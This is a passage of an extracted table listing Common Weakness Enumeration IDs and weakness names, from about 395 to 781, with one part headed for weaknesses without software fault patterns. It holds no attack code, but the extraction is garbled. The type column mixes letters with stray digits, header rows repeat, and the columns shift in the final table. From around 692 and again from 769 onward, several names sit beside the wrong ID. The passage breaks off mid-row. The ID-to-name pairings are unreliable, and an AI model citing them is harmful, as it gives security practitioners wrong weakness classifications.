<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
</tr>
<tr>
<td></td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
</tr>
<tr>
<td></td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
</tr>
<tr>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
</tr>
<tr>
<td></td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
</tr>
<tr>
<td></td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
</tr>
<tr>
<td></td>
<td>402</td>
<td>Transmission of Private Resources into a New Sphere ('Resource Leak')</td>
</tr>
<tr>
<td></td>
<td>403</td>
<td>Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')</td>
</tr>
<tr>
<td></td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
</tr>
<tr>
<td></td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
</tr>
<tr>
<td></td>
<td>406</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
</tr>
<tr>
<td></td>
<td>407</td>
<td>Algorithmic Complexity</td>
</tr>
<tr>
<td></td>
<td>408</td>
<td>Incorrect Behavior Order: Early Amplification</td>
</tr>
<tr>
<td></td>
<td>409</td>
<td>Improper Handling of Highly Compressed Data (Data Amplification)</td>
</tr>
<tr>
<td></td>
<td>410</td>
<td>Insufficient Resource Pool</td>
</tr>
<tr>
<td></td>
<td>412</td>
<td>Unrestricted Externally Accessible Lock</td>
</tr>
<tr>
<td></td>
<td>413</td>
<td>Improper Resource Locking</td>
</tr>
<tr>
<td></td>
<td>414</td>
<td>Missing Lock Check</td>
</tr>
<tr>
<td></td>
<td>415</td>
<td>Double Free</td>
</tr>
<tr>
<td></td>
<td>416</td>
<td>Use After Free</td>
</tr>
<tr>
<td></td>
<td>419</td>
<td>Unprotected Primary Channel</td>
</tr>
<tr>
<td></td>
<td>420</td>
<td>Unprotected Alternate Channel</td>
</tr>
<tr>
<td></td>
<td>421</td>
<td>Race Condition During Access to Alternate Channel</td>
</tr>
</tbody>
</table>
### CWE-999: Weaknesses without Software Fault Patterns

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>V</td>
<td>422</td>
<td>Unprotected Windows Messaging Channel ('Shatter')</td>
</tr>
<tr>
<td>G</td>
<td>423</td>
<td>DEPRECATED (Duplicate): Proxied Trusted Channel</td>
</tr>
<tr>
<td>C</td>
<td>424</td>
<td>Improper Protection of Alternate Path</td>
</tr>
<tr>
<td>B</td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
</tr>
<tr>
<td>B</td>
<td>427</td>
<td>Uncontrolled Search Path Element</td>
</tr>
<tr>
<td>B</td>
<td>428</td>
<td>Unquoted Search Path or Element</td>
</tr>
<tr>
<td>B</td>
<td>430</td>
<td>Deployment of Wrong Handler</td>
</tr>
<tr>
<td>B</td>
<td>431</td>
<td>Missing Handler</td>
</tr>
<tr>
<td>B</td>
<td>432</td>
<td>Dangerous Signal Handler not Disabled During Sensitive Operations</td>
</tr>
<tr>
<td>V</td>
<td>433</td>
<td>Unparsed Raw Web Content Delivery</td>
</tr>
<tr>
<td>B</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>C</td>
<td>435</td>
<td>Interaction Error</td>
</tr>
<tr>
<td>B</td>
<td>436</td>
<td>Interpretation Conflict</td>
</tr>
<tr>
<td>B</td>
<td>437</td>
<td>Incomplete Model of Endpoint Features</td>
</tr>
<tr>
<td>B</td>
<td>439</td>
<td>Behavioral Change in New Version or Environment</td>
</tr>
<tr>
<td>G</td>
<td>440</td>
<td>Expected Behavior Violation</td>
</tr>
<tr>
<td>G</td>
<td>441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
</tr>
<tr>
<td>C</td>
<td>443</td>
<td>DEPRECATED (Duplicate): HTTP response splitting</td>
</tr>
<tr>
<td>B</td>
<td>444</td>
<td>Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')</td>
</tr>
<tr>
<td>B</td>
<td>446</td>
<td>UI Discrepancy for Security Feature</td>
</tr>
<tr>
<td>B</td>
<td>447</td>
<td>Unimplemented or Unsupported Feature in UI</td>
</tr>
<tr>
<td>B</td>
<td>448</td>
<td>Obsolete Feature in UI</td>
</tr>
<tr>
<td>B</td>
<td>449</td>
<td>The UI Performs the Wrong Action</td>
</tr>
<tr>
<td>B</td>
<td>450</td>
<td>Multiple Interpretations of UI Input</td>
</tr>
<tr>
<td>B</td>
<td>451</td>
<td>User Interface (UI) Misrepresentation of Critical Information</td>
</tr>
<tr>
<td>B</td>
<td>453</td>
<td>Insecure Default Variable Initialization</td>
</tr>
<tr>
<td>B</td>
<td>454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
</tr>
<tr>
<td>B</td>
<td>455</td>
<td>Non-exit on Failed Initialization</td>
</tr>
<tr>
<td>B</td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
</tr>
<tr>
<td>V</td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
</tr>
<tr>
<td>G</td>
<td>458</td>
<td>DEPRECATED: Incorrect Initialization</td>
</tr>
<tr>
<td>B</td>
<td>459</td>
<td>Incomplete Cleanup</td>
</tr>
<tr>
<td>V</td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
</tr>
<tr>
<td>B</td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
</tr>
<tr>
<td>B</td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
</tr>
<tr>
<td>B</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
</tr>
<tr>
<td>B</td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
</tr>
<tr>
<td>V</td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
</tr>
<tr>
<td>B</td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
</tr>
<tr>
<td>B</td>
<td>469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
</tr>
<tr>
<td>B</td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
</tr>
<tr>
<td>B</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
</tr>
<tr>
<td>B</td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
</tr>
<tr>
<td>V</td>
<td>473</td>
<td>PHP External Variable Modification</td>
</tr>
<tr>
<td>B</td>
<td>474</td>
<td>Use of Function with Inconsistent Implementations</td>
</tr>
<tr>
<td>B</td>
<td>475</td>
<td>Undefined Behavior for Input to API</td>
</tr>
<tr>
<td>B</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
</tr>
<tr>
<td>B</td>
<td>477</td>
<td>Use of Obsolete Functions</td>
</tr>
<tr>
<td>V</td>
<td>478</td>
<td>Missing Default Case in Switch Statement</td>
</tr>
<tr>
<td>V</td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
</tr>
<tr>
<td>B</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td></td>
<td>481</td>
<td>Assigning instead of Comparing</td>
</tr>
<tr>
<td></td>
<td>482</td>
<td>Comparing instead of Assigning</td>
</tr>
<tr>
<td></td>
<td>483</td>
<td>Incorrect Block Delimitation</td>
</tr>
<tr>
<td></td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
</tr>
<tr>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
</tr>
<tr>
<td></td>
<td>486</td>
<td>Comparison of Classes by Name</td>
</tr>
<tr>
<td></td>
<td>487</td>
<td>Reliance on Package-level Scope</td>
</tr>
<tr>
<td></td>
<td>488</td>
<td>Exposure of Data Element to Wrong Session</td>
</tr>
<tr>
<td></td>
<td>489</td>
<td>Leftover Debug Code</td>
</tr>
<tr>
<td></td>
<td>491</td>
<td>Public cloneable() Method Without Final ('Object Hijack')</td>
</tr>
<tr>
<td></td>
<td>492</td>
<td>Use of Inner Class Containing Sensitive Data</td>
</tr>
<tr>
<td></td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
</tr>
<tr>
<td></td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td></td>
<td>495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
</tr>
<tr>
<td></td>
<td>496</td>
<td>Public Data Assigned to Private Array-Typed Field</td>
</tr>
<tr>
<td></td>
<td>497</td>
<td>Exposure of System Data to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td></td>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
</tr>
<tr>
<td></td>
<td>499</td>
<td>Serializable Class Containing Sensitive Data</td>
</tr>
<tr>
<td></td>
<td>500</td>
<td>Public Static Field Not Marked Final</td>
</tr>
<tr>
<td></td>
<td>501</td>
<td>Trust Boundary Violation</td>
</tr>
<tr>
<td></td>
<td>502</td>
<td>Deserialization of Untrusted Data</td>
</tr>
<tr>
<td></td>
<td>506</td>
<td>Embedded Malicious Code</td>
</tr>
<tr>
<td></td>
<td>507</td>
<td>Trojan Horse</td>
</tr>
<tr>
<td></td>
<td>508</td>
<td>Non-Replicating Malicious Code</td>
</tr>
<tr>
<td></td>
<td>509</td>
<td>Replicating Malicious Code (Virus or Worm)</td>
</tr>
<tr>
<td></td>
<td>510</td>
<td>Trapdoor</td>
</tr>
<tr>
<td></td>
<td>511</td>
<td>Logic/Time Bomb</td>
</tr>
<tr>
<td></td>
<td>512</td>
<td>Spyware</td>
</tr>
<tr>
<td></td>
<td>514</td>
<td>Covert Channel</td>
</tr>
<tr>
<td></td>
<td>515</td>
<td>Covert Storage Channel</td>
</tr>
<tr>
<td></td>
<td>516</td>
<td>DEPRECATED (Duplicate): Covert Timing Channel</td>
</tr>
<tr>
<td></td>
<td>520</td>
<td>.NET Misconfiguration: Use of Impersonation</td>
</tr>
<tr>
<td></td>
<td>521</td>
<td>Weak Password Requirements</td>
</tr>
<tr>
<td></td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
</tr>
<tr>
<td></td>
<td>523</td>
<td>unprotected Transport of Credentials</td>
</tr>
<tr>
<td></td>
<td>524</td>
<td>Information Exposure Through Caching</td>
</tr>
<tr>
<td></td>
<td>525</td>
<td>Information Exposure Through Browser Caching</td>
</tr>
<tr>
<td></td>
<td>526</td>
<td>Information Exposure Through Environmental Variables</td>
</tr>
<tr>
<td></td>
<td>527</td>
<td>Exposure of CVS Repository to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td></td>
<td>528</td>
<td>Exposure of Core Dump File to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td></td>
<td>529</td>
<td>Exposure of Access Control List Files to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td></td>
<td>530</td>
<td>Exposure of Backup File to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td></td>
<td>531</td>
<td>Information Exposure Through Test Code</td>
</tr>
<tr>
<td></td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
</tr>
<tr>
<td></td>
<td>533</td>
<td>Information Exposure Through Server Log Files</td>
</tr>
<tr>
<td></td>
<td>534</td>
<td>Information Exposure Through Debug Log Files</td>
</tr>
<tr>
<td></td>
<td>535</td>
<td>Information Exposure Through Shell Error Message</td>
</tr>
<tr>
<td></td>
<td>536</td>
<td>Information Exposure Through Servlet Runtime Error Message</td>
</tr>
<tr>
<td></td>
<td>537</td>
<td>Information Exposure Through Java Runtime Error Message</td>
</tr>
<tr>
<td></td>
<td>538</td>
<td>File and Directory Information Exposure</td>
</tr>
<tr>
<td></td>
<td>539</td>
<td>Information Exposure Through Persistent Cookies</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td>v</td>
<td>540</td>
<td>Information Exposure Through Source Code</td>
</tr>
<tr>
<td>v</td>
<td>541</td>
<td>Information Exposure Through Include Source Code</td>
</tr>
<tr>
<td>v</td>
<td>542</td>
<td>Information Exposure Through Cleanup Log Files</td>
</tr>
<tr>
<td>v</td>
<td>543</td>
<td>Use of Singleton Pattern Without Synchronization in a Multithreaded Context</td>
</tr>
<tr>
<td>B</td>
<td>544</td>
<td>Missing Standardized Error Handling Mechanism</td>
</tr>
<tr>
<td>Q</td>
<td>545</td>
<td>DEPRECATED: Use of Dynamic Class Loading</td>
</tr>
<tr>
<td>v</td>
<td>546</td>
<td>Suspicious Comment</td>
</tr>
<tr>
<td>v</td>
<td>547</td>
<td>Use of Hard-coded, Security-relevant Constants</td>
</tr>
<tr>
<td>v</td>
<td>548</td>
<td>Information Exposure Through Directory Listing</td>
</tr>
<tr>
<td>v</td>
<td>549</td>
<td>Missing Password Field Masking</td>
</tr>
<tr>
<td>B</td>
<td>550</td>
<td>Information Exposure Through Server Error Message</td>
</tr>
<tr>
<td>B</td>
<td>551</td>
<td>Incorrect Behavior Order: Authorization Before Parsing and Canonicalization</td>
</tr>
<tr>
<td>B</td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
</tr>
<tr>
<td>v</td>
<td>553</td>
<td>Command Shell in Externally Accessible Directory</td>
</tr>
<tr>
<td>v</td>
<td>554</td>
<td>ASP.NET Misconfiguration: Not Using Input Validation Framework</td>
</tr>
<tr>
<td>B</td>
<td>555</td>
<td>J2EE Misconfiguration: Plaintext Password in Configuration File</td>
</tr>
<tr>
<td>v</td>
<td>556</td>
<td>ASP.NET Misconfiguration: Use of Identity Impersonation</td>
</tr>
<tr>
<td>v</td>
<td>558</td>
<td>Use of getlogin() in Multithreaded Application</td>
</tr>
<tr>
<td>v</td>
<td>560</td>
<td>Use of umask() with chmod-style Argument</td>
</tr>
<tr>
<td>v</td>
<td>561</td>
<td>Dead Code</td>
</tr>
<tr>
<td>B</td>
<td>562</td>
<td>Return of Stack Variable Address</td>
</tr>
<tr>
<td>v</td>
<td>563</td>
<td>Assignment to Variable without Use ('Unused Variable')</td>
</tr>
<tr>
<td>B</td>
<td>564</td>
<td>SQL Injection: Hibernate</td>
</tr>
<tr>
<td>B</td>
<td>565</td>
<td>Reliance on Cookies without Validation and Integrity Checking</td>
</tr>
<tr>
<td>v</td>
<td>566</td>
<td>Authorization Bypass Through User-Controlled SQL Primary Key</td>
</tr>
<tr>
<td>B</td>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
</tr>
<tr>
<td>v</td>
<td>568</td>
<td>finalize() Method Without super.finalize()</td>
</tr>
<tr>
<td>v</td>
<td>570</td>
<td>Expression is Always False</td>
</tr>
<tr>
<td>v</td>
<td>571</td>
<td>Expression is Always True</td>
</tr>
<tr>
<td>v</td>
<td>572</td>
<td>Call to Thread run() instead of start()</td>
</tr>
<tr>
<td>C</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
</tr>
<tr>
<td>v</td>
<td>574</td>
<td>EJB Bad Practices: Use of Synchronization Primitives</td>
</tr>
<tr>
<td>v</td>
<td>575</td>
<td>EJB Bad Practices: Use of AWT Swing</td>
</tr>
<tr>
<td>v</td>
<td>576</td>
<td>EJB Bad Practices: Use of Java I/O</td>
</tr>
<tr>
<td>v</td>
<td>577</td>
<td>EJB Bad Practices: Use of Sockets</td>
</tr>
<tr>
<td>v</td>
<td>578</td>
<td>EJB Bad Practices: Use of Class Loader</td>
</tr>
<tr>
<td>v</td>
<td>579</td>
<td>J2EE Bad Practices: Non-serializable Object Stored in Session</td>
</tr>
<tr>
<td>B</td>
<td>580</td>
<td>clone() Method Without super.clone()</td>
</tr>
<tr>
<td>B</td>
<td>581</td>
<td>Object Model Violation: Just One of Equals and Hashcode Defined</td>
</tr>
<tr>
<td>v</td>
<td>582</td>
<td>Array Declared Public, Final, and Static</td>
</tr>
<tr>
<td>v</td>
<td>583</td>
<td>finalize() Method Declared Public</td>
</tr>
<tr>
<td>B</td>
<td>584</td>
<td>Return Inside Finally Block</td>
</tr>
<tr>
<td>v</td>
<td>585</td>
<td>Empty Synchronized Block</td>
</tr>
<tr>
<td>v</td>
<td>586</td>
<td>Explicit Call to Finalize()</td>
</tr>
<tr>
<td>B</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>v</td>
<td>588</td>
<td>Attempt to Access Child of a Non-structure Pointer</td>
</tr>
<tr>
<td>v</td>
<td>589</td>
<td>Call to Non-ubiquitous API</td>
</tr>
<tr>
<td>v</td>
<td>590</td>
<td>Free of Memory not on the Heap</td>
</tr>
<tr>
<td>Q</td>
<td>591</td>
<td>Sensitive Data Storage in Improperly Locked Memory</td>
</tr>
<tr>
<td>Q</td>
<td>592</td>
<td>DEPRECATED: Authentication Bypass Issues</td>
</tr>
<tr>
<td>v</td>
<td>593</td>
<td>Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td>1</td>
<td>594</td>
<td>J2EE Framework: Saving Unserializable Objects to Disk</td>
</tr>
<tr>
<td>1</td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
</tr>
<tr>
<td>1</td>
<td>596</td>
<td>Incorrect Semantic Object Comparison</td>
</tr>
<tr>
<td>1</td>
<td>597</td>
<td>Use of Wrong Operator in String Comparison</td>
</tr>
<tr>
<td>1</td>
<td>598</td>
<td>Information Exposure Through Query Strings in GET Request</td>
</tr>
<tr>
<td>1</td>
<td>599</td>
<td>Missing Validation of OpenSSL Certificate</td>
</tr>
<tr>
<td>2</td>
<td>600</td>
<td>Uncaught Exception in Servlet</td>
</tr>
<tr>
<td>2</td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
</tr>
<tr>
<td>2</td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
</tr>
<tr>
<td>2</td>
<td>603</td>
<td>Use of Client-Side Authentication</td>
</tr>
<tr>
<td>2</td>
<td>605</td>
<td>Multiple Binds to the Same Port</td>
</tr>
<tr>
<td>2</td>
<td>606</td>
<td>Unchecked Input for Loop Condition</td>
</tr>
<tr>
<td>2</td>
<td>607</td>
<td>Public Static Final Field References Mutable Object</td>
</tr>
<tr>
<td>2</td>
<td>608</td>
<td>Struts: Non-private Field in ActionForm Class</td>
</tr>
<tr>
<td>2</td>
<td>609</td>
<td>Double-Checked Locking</td>
</tr>
<tr>
<td>2</td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
</tr>
<tr>
<td>2</td>
<td>611</td>
<td>Improper Restriction of XML External Entity Reference ('XXE')</td>
</tr>
<tr>
<td>2</td>
<td>612</td>
<td>Information Exposure Through Indexing of Private Data</td>
</tr>
<tr>
<td>2</td>
<td>613</td>
<td>Insufficient Session Expiration</td>
</tr>
<tr>
<td>2</td>
<td>614</td>
<td>Sensitive Cookie in HTTPS Session Without ‘Secure’ Attribute</td>
</tr>
<tr>
<td>2</td>
<td>615</td>
<td>Information Exposure Through Comments</td>
</tr>
<tr>
<td>2</td>
<td>616</td>
<td>Incomplete Identification of Uploaded File Variables (PHP)</td>
</tr>
<tr>
<td>2</td>
<td>617</td>
<td>Reachable Assertion</td>
</tr>
<tr>
<td>2</td>
<td>618</td>
<td>Exposed Unsafe ActiveX Method</td>
</tr>
<tr>
<td>2</td>
<td>619</td>
<td>Dangling Database Cursor ('Cursor Injection')</td>
</tr>
<tr>
<td>2</td>
<td>620</td>
<td>Unverified Password Change</td>
</tr>
<tr>
<td>2</td>
<td>621</td>
<td>Variable Extraction Error</td>
</tr>
<tr>
<td>2</td>
<td>622</td>
<td>Improper Validation of Function Hook Arguments</td>
</tr>
<tr>
<td>2</td>
<td>623</td>
<td>Unsafe ActiveX Control Marked Safe For Scripting</td>
</tr>
<tr>
<td>2</td>
<td>624</td>
<td>Executable Regular Expression Error</td>
</tr>
<tr>
<td>2</td>
<td>625</td>
<td>Permissive Regular Expression</td>
</tr>
<tr>
<td>2</td>
<td>626</td>
<td>Null Byte Interaction Error (Poison Null Byte)</td>
</tr>
<tr>
<td>2</td>
<td>627</td>
<td>Dynamic Variable Evaluation</td>
</tr>
<tr>
<td>2</td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
</tr>
<tr>
<td>2</td>
<td>629</td>
<td>Not Failing Securely ('Failing Open')</td>
</tr>
<tr>
<td>2</td>
<td>630</td>
<td>Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')</td>
</tr>
<tr>
<td>2</td>
<td>631</td>
<td>Not Using Complete Mediation</td>
</tr>
<tr>
<td>2</td>
<td>632</td>
<td>Authorization Bypass Through User-Controlled Key</td>
</tr>
<tr>
<td>2</td>
<td>633</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
</tr>
<tr>
<td>2</td>
<td>634</td>
<td>Improper Restriction of Names for Files and Other Resources</td>
</tr>
<tr>
<td>2</td>
<td>635</td>
<td>External Control of Critical State Data</td>
</tr>
<tr>
<td>2</td>
<td>636</td>
<td>Improper Neutralization of Data within XPath Expressions ('XPath Injection')</td>
</tr>
<tr>
<td>2</td>
<td>637</td>
<td>Improper Neutralization of HTTP Headers for Scripting Syntax</td>
</tr>
<tr>
<td>2</td>
<td>638</td>
<td>Overly Restrictive Account Lockout Mechanism</td>
</tr>
<tr>
<td>2</td>
<td>639</td>
<td>Reliance on File Name or Extension of Externally-Supplied File</td>
</tr>
<tr>
<td>2</td>
<td>640</td>
<td>Use of Non-Canonical URL Paths for Authorization Decisions</td>
</tr>
<tr>
<td>2</td>
<td>641</td>
<td>Incorrect Use of Privileged APIs</td>
</tr>
<tr>
<td>2</td>
<td>642</td>
<td>Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking</td>
</tr>
<tr>
<td>2</td>
<td>643</td>
<td>Trusting HTTP Permission Methods on the Server Side</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>-----------------------------------------------------------</td>
</tr>
<tr>
<td>v</td>
<td>651</td>
<td>Information Exposure Through WSDL File</td>
</tr>
<tr>
<td>b</td>
<td>652</td>
<td>Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')</td>
</tr>
<tr>
<td>b</td>
<td>653</td>
<td>Insufficient Compartmentalization</td>
</tr>
<tr>
<td>b</td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
</tr>
<tr>
<td>b</td>
<td>655</td>
<td>Insufficient Psychological Acceptability</td>
</tr>
<tr>
<td>b</td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
</tr>
<tr>
<td>c</td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
</tr>
<tr>
<td>b</td>
<td>662</td>
<td>Improper Synchronization</td>
</tr>
<tr>
<td>b</td>
<td>663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context</td>
</tr>
<tr>
<td>b</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
</tr>
<tr>
<td>b</td>
<td>665</td>
<td>Improper Initialization</td>
</tr>
<tr>
<td>b</td>
<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
</tr>
<tr>
<td>b</td>
<td>667</td>
<td>Improper Locking</td>
</tr>
<tr>
<td>c</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
</tr>
<tr>
<td>b</td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
</tr>
<tr>
<td>c</td>
<td>670</td>
<td>Always-Incorrect Control Flow Implementation</td>
</tr>
<tr>
<td>b</td>
<td>671</td>
<td>Lack of Administrator Control over Security</td>
</tr>
<tr>
<td>b</td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
</tr>
<tr>
<td>b</td>
<td>673</td>
<td>External Influence of Sphere Definition</td>
</tr>
<tr>
<td>c</td>
<td>674</td>
<td>Uncontrolled Recursion</td>
</tr>
<tr>
<td>c</td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
</tr>
<tr>
<td>b</td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
</tr>
<tr>
<td>b</td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
</tr>
<tr>
<td>c</td>
<td>682</td>
<td>Incorrect Calculation</td>
</tr>
<tr>
<td>c</td>
<td>683</td>
<td>Function Call With Incorrect Order of Arguments</td>
</tr>
<tr>
<td>b</td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
</tr>
<tr>
<td>c</td>
<td>685</td>
<td>Function Call With Incorrect Number of Arguments</td>
</tr>
<tr>
<td>c</td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
</tr>
<tr>
<td>c</td>
<td>687</td>
<td>Function Call With Incorrectly Specified Argument Value</td>
</tr>
<tr>
<td>c</td>
<td>688</td>
<td>Function Call With Incorrect Variable or Reference as Argument</td>
</tr>
<tr>
<td>c</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
</tr>
<tr>
<td>c</td>
<td>692</td>
<td>Protection Mechanism Failure</td>
</tr>
<tr>
<td>c</td>
<td>693</td>
<td>Use of Multiple Resources with Duplicate Identifier</td>
</tr>
<tr>
<td>c</td>
<td>694</td>
<td>Use of Low-Level Functionality</td>
</tr>
<tr>
<td>c</td>
<td>695</td>
<td>Incorrect Behavior Order</td>
</tr>
<tr>
<td>c</td>
<td>696</td>
<td>Insufficient Comparison</td>
</tr>
<tr>
<td>b</td>
<td>697</td>
<td>Execution After Redirect (EAR)</td>
</tr>
<tr>
<td>c</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
</tr>
<tr>
<td>c</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
</tr>
<tr>
<td>c</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
</tr>
<tr>
<td>c</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
</tr>
<tr>
<td>c</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
</tr>
<tr>
<td>b</td>
<td>708</td>
<td>Incorrect Ownership Assignment</td>
</tr>
<tr>
<td>c</td>
<td>710</td>
<td>Coding Standards Violation</td>
</tr>
<tr>
<td>c</td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
</tr>
<tr>
<td>b</td>
<td>733</td>
<td>Compiler Optimization Removal or Modification of Security-critical Code</td>
</tr>
<tr>
<td>b</td>
<td>749</td>
<td>Exposed Dangerous Method or Function</td>
</tr>
<tr>
<td>c</td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
</tr>
<tr>
<td>c</td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
</tr>
<tr>
<td>c</td>
<td>756</td>
<td>Missing Custom Error Page</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>757</td>
<td>Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')</td>
<td></td>
</tr>
<tr>
<td>758</td>
<td>Reliance on Undefined, Unspecified, or Implementation-Defined Behavior</td>
<td></td>
</tr>
<tr>
<td>759</td>
<td>Use of a One-Way Hash without a Salt</td>
<td></td>
</tr>
<tr>
<td>760</td>
<td>Use of a One-Way Hash with a Predictable Salt</td>
<td></td>
</tr>
<tr>
<td>761</td>
<td>Free of Pointer not at Start of Buffer</td>
<td></td>
</tr>
<tr>
<td>762</td>
<td>Mismatched Memory Management Routines</td>
<td></td>
</tr>
<tr>
<td>763</td>
<td>Release of Invalid Pointer or Reference</td>
<td></td>
</tr>
<tr>
<td>764</td>
<td>Multiple Locks of a Critical Resource</td>
<td></td>
</tr>
<tr>
<td>765</td>
<td>Multiple Unlocks of a Critical Resource</td>
<td></td>
</tr>
<tr>
<td>766</td>
<td>Critical Variable Declared Public</td>
<td></td>
</tr>
<tr>
<td>767</td>
<td>Access to Critical Private Variable via Public Method</td>
<td></td>
</tr>
<tr>
<td>768</td>
<td>Incorrect Short Circuit Evaluation</td>
<td></td>
</tr>
<tr>
<td>769</td>
<td>Allocation of Resources Without Limits or Throttling</td>
<td></td>
</tr>
<tr>
<td>770</td>
<td>Missing Reference to Active Allocated Resource</td>
<td></td>
</tr>
<tr>
<td>771</td>
<td>Missing Release of Resource after Effective Lifetime</td>
<td></td>
</tr>
<tr>
<td>772</td>
<td>Missing Reference to Active File Descriptor or Handle</td>
<td></td>
</tr>
<tr>
<td>773</td>
<td>Allocation of File Descriptors or Handles Without Limits or Throttling</td>
<td></td>
</tr>
<tr>
<td>774</td>
<td>Missing Release of File Descriptor or Handle after Effective Lifetime</td>
<td></td>
</tr>
<tr>
<td>775</td>
<td>Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')</td>
<td></td>
</tr>
<tr>
<td>776</td>
<td>Regular Expression without Anchors</td>
<td></td>
</tr>
<tr>
<td>777</td>
<td>Insufficient Logging</td>
<td></td>
</tr>
<tr>
<td>778</td>
<td>Logging of Excessive Data</td>
<td></td>
</tr>
<tr>
<td>779</td>
<td>Use of RSA Algorithm without OAEP</td>
<td></td>
</tr>
<tr>
<td>780</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
<td></td>
</tr>
<tr>
<td>781</td>
